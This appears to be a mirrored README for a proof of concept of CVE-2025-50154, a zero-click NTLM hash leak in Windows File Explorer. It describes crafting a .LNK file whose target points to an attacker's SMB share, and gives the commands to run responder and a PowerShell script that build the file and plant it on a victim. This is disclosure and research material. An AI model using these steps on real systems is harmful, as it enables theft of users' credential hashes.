CVE-2025-50154 PoC — Microsoft Windows File Explorer Spoofing Vulnerability

Source

https://github.com/rubenformation/CVE-2025-50154

Associated Vulnerability

Title: Microsoft Windows File Explorer Spoofing Vulnerability (CVE-2025-50154)
Description:Exposure of sensitive information to an unauthorized actor in Windows File Explorer allows an unauthorized attacker to perform spoofing over a network.

Description

POC for CVE-2025-50154, a zero day vulnerability on windows file explorer disclosing NTLMv2-SSP without user interaction. It is a bypass for the CVE-2025-24054 Security Patch

Readme

# CVE-2025-50154

# Windows File Explorer Zero Click NTLMv2-SSP Hash Disclosure
By [Ruben Enkaoua](https://x.com/rubenlabs) and [Cymulate](https://cymulate.com/)
<br>
<br>
[Original Blog: Zero Click, One NTLM: Microsoft Security Patch Bypass (CVE-2025-50154)](https://cymulate.com/blog/zero-click-one-ntlm-microsoft-security-patch-bypass-cve-2025-50154/)
<br>
<br>

#### Description
<br>
While Microsoft released a security update addressing an icon-based NTLM hash disclosure vulnerability, I discovered a bypass that still allows an attacker to retrieve NTLMv2-SSP hashes without user interaction.<br><br>

The original vulnerability, recently patched, was a 0-click NTLM hash disclosure triggered when explorer.exe rendered the icon of a .LNK shortcut file whose icon was hosted on a remote SMB server.<br>
After the patch, explorer.exe no longer loads icons from remote SMB paths, preventing the automatic disclosure of NTLM hashes.<br><br>

By crafting a .LNK file with:<br>
+ Default icon from shell32.dll<br>
+ Target path pointing to a remote SMB-hosted binary file<br><br>

The explorer.exe process will still fetch the remote file to extract the PE icon from its RT_GROUP_ICON and RT_ICON resources.<br><br>

#### Steps
<br>
Start a responder server in your server<br><br>

```bash
responder -I <interface> -v
```
<br>
Craft a malicious LNK with powershell, in a different machine, and then drop it to the victim (malicious download, SMB upload...)<br><br>

```powershell
# Replace the values with the path, the responder server IP and the file name on the server. Note: It can take 20 to 30 seconds.
.\poc.ps1 -path "C:\users\user\desktop" -ip "<serverIP>" -share "<share>" -file "<payload.exe>"
```
<br>
The explorer.exe process will render the icon by downloading the file automatically, looking for RT_ICON and RT_GROUP_ICON headers in .rsrc section
<br><br>

#### Notes
<br>
This code is for educational and research purposes only.<br>
The author takes no responsibility for any misuse of this code.

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →